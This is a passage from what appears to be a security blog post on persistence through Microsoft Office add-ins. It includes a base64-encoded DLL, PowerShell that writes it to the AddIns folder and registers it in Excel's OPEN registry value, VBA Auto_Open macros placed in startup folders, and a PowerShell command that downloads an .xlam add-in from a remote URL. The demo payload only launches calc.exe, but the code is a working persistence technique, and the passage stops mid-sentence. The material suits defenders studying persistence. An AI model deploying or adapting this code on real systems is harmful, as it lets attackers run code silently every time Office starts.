AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAGoBaBAwABD\u002FFQAgABDDkJC4AQAAAMIMAJCQkJCQkJCQi0QkCIXAdQ45BRwwABB+Lv8NHDAAEIsNFCAAEIP4AYsJiQ0gMAAQdT9ogAAAAP8VECAAEIXAWaMoMAAQdQQzwOtmgyAAoSgwABBoBDAAEGgAMAAQoyQwABDo6gAAAP8FHDAAEFlZ6z2FwHU5oSgwABCFwHQwiw0kMAAQVo1x\u002FDvwchKLDoXJdAf\u002F0aEoMAAQg+4E6+pQ\u002FxUIIAAQgyUoMAAQAFleagFYwgwAVYvsU4tdCFaLdQxXi30QhfZ1CYM9HDAAEADrJoP+AXQFg\u002F4CdSKhLDAAEIXAdAlXVlP\u002F0IXAdAxXVlPoFf\u002F\u002F\u002F4XAdQQzwOtOV1ZT6PX+\u002F\u002F+D\u002FgGJRQx1DIXAdTdXUFPo8f7\u002F\u002F4X2dAWD\u002FgN1JldWU+jg\u002Fv\u002F\u002FhcB1AyFFDIN9DAB0EaEsMAAQhcB0CFdWU\u002F\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\u003C\u002Fp>\u003Cp>Use variable $fileContent to store base64-encrypted calc.xll\u003C\u002Fp>\u003Cp>Based on the release path of the .xll file, the code for base64 decryption and generating calc.xll is as follows:\u003C\u002Fp>\u003Ctable>\u003Ctbody>\u003Ctr>\u003Ctd>\u003Cp>$fileContent = \"TVqQAAMAAAAEAAAA\u002F\u002F8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAyAAAAA4fug4AtAnNIbgBTM0hVGhpcyBwcm9ncmFtIGNhbm5vdCBiZSBydW4gaW4gRE9TIG1vZGUuDQ0KJAAAAAAAAADVzTnZkaxXipGsV4qRrFeKebNdipWsV4qRrFaKlqxXivOzRIqSrFeKebNcipOsV4p5s1OKkqxXilJpY2iRrFeKAAAAAAAAAABQRQAATAEEAF0ZaFkAAAAAAAAAAOAADiELAQYAAAIAAAAGAAAAAAAAyxAAAAAQAAAAIAAAAAAAEAAQAAAAAgAABAAAAAAAAAAEAAAAAAAAAABQAAAABAAAAAAAAAIAAAAAABAAABAAAAAAEAAAEAAAAAAAABAAAADQIAAARwAAABwgAAA8AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEAAADQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAIAAAHAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAC50ZXh0AAAAbgEAAAAQAAAAAgAAAAQAAAAAAAAAAAAAAAAAACAAAGAucmRhdGEAABcBAAAAIAAAAAIAAAAGAAAAAAAAAAAAAAAAAABAAABALmRhdGEAAAAwAAAAADAAAAACAAAACAAAAAAAAAAAAAAAAAAAQAAAwC5yZWxvYwAAWgAAAABAAAAAAgAAAAoAAAAAAAAAAAAAAAAAAEAAAEIAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAGoBaBAwABD\u002FFQAgABDDkJC4AQAAAMIMAJCQkJCQkJCQi0QkCIXAdQ45BRwwABB+Lv8NHDAAEIsNFCAAEIP4AYsJiQ0gMAAQdT9ogAAAAP8VECAAEIXAWaMoMAAQdQQzwOtmgyAAoSgwABBoBDAAEGgAMAAQoyQwABDo6gAAAP8FHDAAEFlZ6z2FwHU5oSgwABCFwHQwiw0kMAAQVo1x\u002FDvwchKLDoXJdAf\u002F0aEoMAAQg+4E6+pQ\u002FxUIIAAQgyUoMAAQAFleagFYwgwAVYvsU4tdCFaLdQxXi30QhfZ1CYM9HDAAEADrJoP+AXQFg\u002F4CdSKhLDAAEIXAdAlXVlP\u002F0IXAdAxXVlPoFf\u002F\u002F\u002F4XAdQQzwOtOV1ZT6PX+\u002F\u002F+D\u002FgGJRQx1DIXAdTdXUFPo8f7\u002F\u002F4X2dAWD\u002FgN1JldWU+jg\u002Fv\u002F\u002FhcB1AyFFDIN9DAB0EaEsMAAQhcB0CFdWU\u002F\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\"\u003Cbr>$fileContentBytes = [System.Convert]::FromBase64String($fileContent)\u003Cbr>[System.IO.File]::WriteAllBytes($env:APPDATA+\"\\Microsoft\\AddIns\\calc.xll\",$fileContentBytes)\u003C\u002Fp>\u003C\u002Ftd>\u003C\u002Ftr>\u003C\u002Ftbody>\u003C\u002Ftable>\u003Cp>Determine Office version via PowerShell:\u003C\u002Fp>\u003Cp>dir -name \"C:\\Program Files\\Microsoft Office\\Office*\"\u003C\u002Fp>\u003Cp>Output: Office14\u003C\u002Fp>\u003Cp>Extract the version number 14 from the string, code as follows:\u003C\u002Fp>\u003Ctable>\u003Ctbody>\u003Ctr>\u003Ctd>\u003Cp>$OfficeVersion=dir -name \"C:\\Program Files\\Microsoft Office\\Office*\"\u003Cbr>\u003Cbr>$Ver=$OfficeVersion.Substring( $OfficeVersion.LastIndexOf(\"e\")+1 ) \u003C\u002Fp>\u003C\u002Ftd>\u003C\u002Ftr>\u003C\u002Ftbody>\u003C\u002Ftable>\u003Cp>Add exception handling; if Office is not installed on the system, return a prompt message:\u003C\u002Fp>\u003Ctable>\u003Ctbody>\u003Ctr>\u003Ctd>\u003Cp>Try  \u003Cbr>{  \u003Cbr>    $OfficeVersion=dir -name \"C:\\Program Files\\Microsoft Office\\Office*\" -ErrorAction Stop  \u003Cbr>    $Ver=$OfficeVersion.Substring( $OfficeVersion.LastIndexOf(\"e\")+1 ) \u003Cbr>}  \u003Cbr>Catch  \u003Cbr>{  \u003Cbr>    Write-Host \"[!] I can't find Microsoft Office!\" \u003Cbr>    Write-Host \"[+] Please reinput a correct path.\"  \u003Cbr>}  \u003Cbr> \u003Cbr>Write-Host \"Microsoft Office Version:\" $Ver\u003C\u002Fp>\u003C\u002Ftd>\u003C\u002Ftr>\u003C\u002Ftbody>\u003C\u002Ftable>\u003Cp>Concatenate registry paths corresponding to different Office versions:\u003C\u002Fp>\u003Cp>$ExcelRegPath=\"HKCU:\\Software\\Microsoft\\Office\\\"+$Ver+\".0\\Excel\\\"\u003C\u002Fp>\u003Cp>Create new key: Options\u003C\u002Fp>\u003Cp>New-Item -type Directory $ExcelRegPath\"Options\" | Out-Null\u003C\u002Fp>\u003Cp>Create new string value: OPEN: \u002FR calc.xll :\u003C\u002Fp>\u003Cp>New-ItemProperty $ExcelRegPath\"Options\" OPEN -value \"\u002FR calc.xll\" -propertyType string | Out-Null\u003C\u002Fp>\u003Cp>Complete code as follows:\u003C\u002Fp>\u003Ctable>\u003Ctbody>\u003Ctr>\u003Ctd>\u003Cp>$fileContent = \"TVqQAAMAAAAEAAAA\u002F\u002F8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAyAAAAA4fug4AtAnNIbgBTM0hVGhpcyBwcm9ncmFtIGNhbm5vdCBiZSBydW4gaW4gRE9TIG1vZGUuDQ0KJAAAAAAAAADVzTnZkaxXipGsV4qRrFeKebNdipWsV4qRrFaKlqxXivOzRIqSrFeKebNcipOsV4p5s1OKkqxXilJpY2iRrFeKAAAAAAAAAABQRQAATAEEAF0ZaFkAAAAAAAAAAOAADiELAQYAAAIAAAAGAAAAAAAAyxAAAAAQAAAAIAAAAAAAEAAQAAAAAgAABAAAAAAAAAAEAAAAAAAAAABQAAAABAAAAAAAAAIAAAAAABAAABAAAAAAEAAAEAAAAAAAABAAAADQIAAARwAAABwgAAA8AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEAAADQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAIAAAHAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAC50ZXh0AAAAbgEAAAAQAAAAAgAAAAQAAAAAAAAAAAAAAAAAACAAAGAucmRhdGEAABcBAAAAIAAAAAIAAAAGAAAAAAAAAAAAAAAAAABAAABALmRhdGEAAAAwAAAAADAAAAACAAAACAAAAAAAAAAAAAAAAAAAQAAAwC5yZWxvYwAAWgAAAABAAAAAAgAAAAoAAAAAAAAAAAAAAAAAAEAAAEIAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAGoBaBAwABD\u002FFQAgABDDkJC4AQAAAMIMAJCQkJCQkJCQi0QkCIXAdQ45BRwwABB+Lv8NHDAAEIsNFCAAEIP4AYsJiQ0gMAAQdT9ogAAAAP8VECAAEIXAWaMoMAAQdQQzwOtmgyAAoSgwABBoBDAAEGgAMAAQoyQwABDo6gAAAP8FHDAAEFlZ6z2FwHU5oSgwABCFwHQwiw0kMAAQVo1x\u002FDvwchKLDoXJdAf\u002F0aEoMAAQg+4E6+pQ\u002FxUIIAAQgyUoMAAQAFleagFYwgwAVYvsU4tdCFaLdQxXi30QhfZ1CYM9HDAAEADrJoP+AXQFg\u002F4CdSKhLDAAEIXAdAlXVlP\u002F0IXAdAxXVlPoFf\u002F\u002F\u002F4XAdQQzwOtOV1ZT6PX+\u002F\u002F+D\u002FgGJRQx1DIXAdTdXUFPo8f7\u002F\u002F4X2dAWD\u002FgN1JldWU+jg\u002Fv\u002F\u002FhcB1AyFFDIN9DAB0EaEsMAAQhcB0CFdWU\u002F\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\"\u003Cbr>$fileContentBytes = [System.Convert]::FromBase64String($fileContent) \u003Cbr>[System.IO.File]::WriteAllBytes($env:APPDATA+\"\\Microsoft\\AddIns\\calc.xll\",$fileContentBytes)\u003Cbr>\u003Cbr>Try  \u003Cbr>{  \u003Cbr>    $OfficeVersion=dir -name \"C:\\Program Files\\Microsoft Office\\Office*\" -ErrorAction Stop  \u003Cbr>    $Ver=$OfficeVersion.Substring( $OfficeVersion.LastIndexOf(\"e\")+1 ) \u003Cbr>    \u003Cbr>}  \u003Cbr>Catch  \u003Cbr>{  \u003Cbr>    Write-Host \"[!] I can't find Microsoft Office!\" \u003Cbr>    Write-Host \"[+] Please reinput a correct path.\" \u003Cbr>    return \u003Cbr>}  \u003Cbr>Write-Host \"Microsoft Office Version:\" $Ver\u003Cbr>$ExcelRegPath=\"HKCU:\\Software\\Microsoft\\Office\\\"+$Ver+\".0\\Excel\\\"\u003Cbr>New-Item -type Directory $ExcelRegPath\"Options\" | Out-Null\u003Cbr>New-ItemProperty $ExcelRegPath\"Options\" OPEN -value \"\u002FR calc.xll\" -propertyType string | Out-Null\u003C\u002Fp>\u003C\u002Ftd>\u003C\u002Ftr>\u003C\u002Ftbody>\u003C\u002Ftable>\u003Ch2>0x04 Excel VBA add-ins\u003C\u002Fh2>\u003Cp>---\u003C\u002Fp>\u003Ch3>1、Manual testing\u003C\u002Fh3>\u003Cp>Start Excel, enable the Developer Tools option, select Visual Basic\u003C\u002Fp>\u003Cp>Insert a module, write the following code:\u003C\u002Fp>\u003Ctable>\u003Ctbody>\u003Ctr>\u003Ctd>\u003Cp>Sub Auto_Open()\u003Cbr>    Set objShell = CreateObject(\"Wscript.Shell\")\u003Cbr>    objShell.Exec (\"calc.exe\")\u003Cbr>End Sub\u003C\u002Fp>\u003C\u002Ftd>\u003C\u002Ftr>\u003C\u002Ftbody>\u003C\u002Ftable>\u003Cp>Save as calc.xlam, path is:\u003C\u002Fp>\u003Cp>%appdata%\\Microsoft\\Excel\\XLSTART\u003C\u002Fp>\u003Cp>Start Excel.exe, calculator pops up, and Excel starts normally\u003C\u002Fp>\u003Ch3>2. Write a PowerShell script to implement\u003C\u002Fh3>\u003Cp>Save path is:\u003C\u002Fp>\u003Cp>%appdata%\\Microsoft\\Excel\\XLSTART\\calc.xlam\u003C\u002Fp>\u003Cp>Corresponding PowerShell code is:\u003C\u002Fp>\u003Ctable>\u003Ctbody>\u003Ctr>\u003Ctd>\u003Cp>$client = new-object System.Net.WebClient\u003Cbr>$client.DownloadFile(\"https:\u002F\u002Fraw.githubusercontent.com\u002F3gstudent\u002FOffice-Persistence\u002Fmaster\u002Fcalc.xlam\",$env:APPDATA+\"\\Microsoft\\Excel\\XLSTART\\calc.xlam\")\u003C\u002Fp>\u003C\u002Ftd>\u003C\u002Ftr>\u003C\u002Ftbody>\u003C\u002Ftable>\u003Ch2>0x05 PowerPoint VBA add-ins\u003C\u002Fh2>\u003Cp>---\u003C\u002Fp>\u003Ch3>1. Manual Testing\u003C\u002Fh3>\u003Cp>Launch PowerPoint, enable Developer Tools option, select Visual Basic\u003C\u002Fp>\u003Cp>Insert a module, write the following code:\u003C\u002Fp>\u003Ctable>\u003Ctbody>\u003Ctr>\u003Ctd>\u003Cp>Sub Auto_Open()\u003Cbr>    Set objShell = CreateObject(\"Wscript.Shell\")\u003Cbr>    objShell.Exec (\"calc.exe\")\u003Cbr>End Sub\u003C\u002Fp>\u003C\u002Ftd>\u003C\u002Ftr>\u003C\u002Ftbody>\u003C\u002Ftable>\u003Cp>Save as calc.ppa, path:\u003C\u002Fp>\u003Cp>%appdata%\\Microsoft\\AddIns\u003C\u002Fp>\u003Cp>Find registry key value:\u003C\u002Fp>\u003Cp>Key value for Office2010:\u003C\u002Fp>\u003Cp>HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\14.0\\PowerPoint\u003C\u002Fp>\u003Cp>Key value for 